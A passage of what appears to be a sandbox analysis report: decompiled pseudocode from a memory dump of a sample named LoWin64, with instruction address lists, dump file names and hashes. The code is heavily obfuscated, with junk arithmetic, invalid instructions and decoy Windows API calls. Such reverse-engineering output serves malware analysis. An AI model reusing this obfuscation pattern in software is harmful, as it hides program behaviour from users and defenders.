				_t630 = (_t627 - _t688 | 0xffffff80) + _t688;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t688;
				E00007FF67FF6B1D3ACF4(_t630);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t633 = (_t630 - _t688 | 0xffffff80) + _t688;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t633);
				E00007FF67FF6B1D3ACF4(_t633);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t636 = (_t633 - _t688 | 0xffffff80) + _t688;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t636);
				E00007FF67FF6B1D3ACF4(_t636);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t639 = (_t636 - _t688 | 0xffffff80) + _t688;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t639);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t645 = ((_t639 - _t688 | 0xffffff80) + _t688 - _t688 | 0xffffff80) + _t688;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t246 = E00007FF67FF6B1D3ACF4(_t645);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t645 - _t688 | 0xffffff80) + _t688 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t246 & r14d;
			}

0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b8c
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7ba0
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc0
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c08
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c20
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c34
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c48
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c62
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45d4c59baaa7da73fb5d0ec3fc266e8aa73f272f9e4945e5d1448e5acd5289ea
Instruction ID: 7adac744c5e3616a12d095166e6b21638834a83e8326730cab9b3903def3d683
Opcode Fuzzy Hash: 45d4c59baaa7da73fb5d0ec3fc266e8aa73f272f9e4945e5d1448e5acd5289ea
Instruction Fuzzy Hash: 79E17E67F38A0666F7125F3CAD5A2BD22A17F2070DF780738C709E159ADF2DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7A2A Relevance: 19.9, APIs: 13, Instructions: 395
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CA7A2A(void* __ebx, void* __edi, signed int __esi, void* __ebp, void* __eflags, struct HWND__* __rdx, void* _a32, void* _a144, signed int _a152, signed long long _a160, void* _a168) {
				void* _t71;
				signed int _t176;
				void* _t198;
				signed int _t241;
				signed int _t271;
				signed int _t273;
				void* _t282;
				void* _t287;
				void* _t288;
				void* _t289;
				void* _t292;
				void* _t293;
				void* _t307;
				void* _t314;
				signed int _t317;
				void* _t324;
				signed int _t342;
				void* _t353;
				void* _t356;
				void* _t357;
				void* _t359;
				void* _t367;
				void* _t368;
				void* _t370;
				signed long long _t383;
				signed long long _t387;
				signed long long _t391;
				void* _t395;
				signed long long _t398;
				signed long long _t408;
				signed long long _t412;
				signed long long _t416;
				signed long long _t420;
				signed long long _t424;
				signed long long _t428;
				signed long long _t432;
				signed long long _t436;
				signed long long _t440;
				signed long long _t444;
				signed long long _t448;
				signed long long _t449;
				signed long long _t452;
				signed long long _t456;
				void* _t460;
				signed long long _t463;
				signed long long _t464;
				void* _t467;
				void* _t470;
				void* _t477;
				void* _t480;
				void* _t483;
				void* _t486;
				void* _t489;
				void* _t503;
				void* _t506;
				void* _t513;
				void* _t516;
				void* _t519;
				void* _t522;
				void* _t525;
				void* _t528;
				void* _t531;
				void* _t534;
				void* _t537;
				void* _t540;
				void* _t543;
				void* _t546;
				void* _t549;
				void* _t552;
				void* _t555;
				void* _t558;
				void* _t561;
				void* _t564;
				void* _t567;
				void* _t570;
				void* _t573;
				void* _t576;
				void* _t579;
				signed long long _t582;
				void* _t585;
				signed long long _t590;
				void* _t593;
				void* _t596;
				void* _t599;
				void* _t602;
				void* _t605;
				void* _t614;
				void* _t617;
				void* _t620;
				void* _t623;
				void* _t626;
				void* _t629;
				void* _t632;
				void* _t638;
				void* _t643;
				void* _t647;
				signed long long _t670;
				signed long long _t673;
				void* _t676;
				signed long long _t679;
				void* _t681;
				void* _t685;

				_t287 = __eflags;
				 *0xb1decf60 = _t676 + _t643;
				E00007FF67FF6B1D3ACF4(_t383);
				if (_t287 >= 0) goto 0xb1ca7a41;
				_t387 = ((_t383 & _t673) - _t643 | _t670) + _t643;
				_t288 = _t387 - 0x76;
				if (_t288 >= 0) goto 0xb1ca7a25;
				_t71 = E00007FF67FF6B1D3ACF4(_t387);
				if (_t288 >= 0) goto 0xb1ca7a57;
				_t391 = ((_t387 & _t673) - _t643 | _t670) + _t643;
				_t289 = _t391 - 0x23;
				if (_t289 < 0) goto 0xb1ca7a7c;
				_t681 = _t643;
				_pop(_t679);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t71;
				 *0xb1decf60 = _t679;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(_t681);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t391);
				if (_t289 >= 0) goto 0xb1ca7ac8;
				_t395 = ((_t391 & _t673) - _t679 | _t670) + _t679;
				if (_t395 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t398 = (_t395 - _t679 | _t670) + _t679;
				_t292 = _t398 - 0x69;
				if (_t292 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t398);
				if (_t292 >= 0) goto 0xb1ca7afa;
				_t293 = ((_t398 & _t673) - _t679 | _t670) + _t679 - 0x44;
				if (_t293 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t398 & _t673) - _t679 | _t670) + _t679);
				if (_t293 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = _t679;
				 *0xb1decf60 = _t679;
				_t647 = 0xc + _t679;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				_t408 = 0x14 + _t679;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(_t408);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				_t412 = ((_t408 & _t673) - _t679 | _t670) + _t679;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t412);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				_t416 = ((_t412 & _t673) - _t679 | _t670) + _t679;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t416);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				_t420 = ((_t416 & _t673) - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(_t420);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				_t424 = ((_t420 & _t673) - _t679 | _t670) + _t679;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = _t679;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t424);
				if (0x14 >= 0) goto 0xb1ca7be1;
				_t428 = ((_t424 & _t673) - _t679 | _t670) + _t679;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(_t428);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				_t432 = ((_t428 & _t673) - _t679 | _t670) + _t679;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(_t432);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				_t436 = ((_t432 & _t673) - _t679 | _t670) + _t679;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t436);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				_t440 = ((_t436 & _t673) - _t679 | _t670) + _t679;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t440);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				_t444 = ((_t440 & _t673) - _t679 | _t670) + _t679;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(_t444);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				_t448 = ((_t444 & _t673) - _t679 | _t670) + _t679;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(_t448);
				_t449 = _t448 & _t673;
				if (0x14 >= 0) goto 0xb1ca7c78;
				_t452 = (_t449 - _t679 | _t670) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t452);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				_t456 = ((_t452 & _t673) - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t307 = r14d - 0x5c;
				if (_t307 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t456);
				r14d = __esi;
				if (_t307 >= 0) goto 0xb1ca7cd4;
				_t460 = ((_t456 & _t673) - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t460);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t463 = (_t460 - _t679 | _t670) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t463);
				r14d = __esi;
				_t464 = _t463 & _t673;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				_t467 = (_t464 - _t679 | _t670) + _t679;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t467) & r14d) >= 0) goto 0xb1ca7d34;
				_t470 = (_t467 - _t679 | _t670) + _t679;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t470) & r14d) >= 0) goto 0xb1ca7d49;
				_t314 = (_t470 - _t679 | _t670) + _t679 - 0x67;
				 *0xb1decf60 = 0;
				if (_t314 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t314 >= 0) goto 0xb1ca7d7a;
				_t477 = (0x0000004d - _t679 | _t670) + _t679;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t314 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t477);
				if (_t314 >= 0) goto 0xb1ca7da0;
				_t480 = (_t477 - _t679 | _t670) + _t679;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t480);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t483 = (_t480 - _t679 | _t670) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t483);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t486 = (_t483 - _t679 | _t670) + _t679;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t317 = E00007FF67FF6B1D3ACF4(_t486) & r14d;
				if (_t317 >= 0) goto 0xb1ca7e07;
				_t489 = (_t486 - _t679 | _t670) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t317 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t489) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t489 - _t679 | _t670) + _t679);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t489 - _t679 | _t670) + _t679 - _t679 | _t670) + _t679);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t489 - _t679 | _t670) + _t679 - _t679 | _t670) + _t679 - _t679 | _t670) + _t679);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t503 = 0x15 + _t679;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t503);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t506 = (_t503 - _t679 | _t670) + _t679;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t506);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t324 = (_t506 - _t679 | _t670) + _t679 - 0x65;
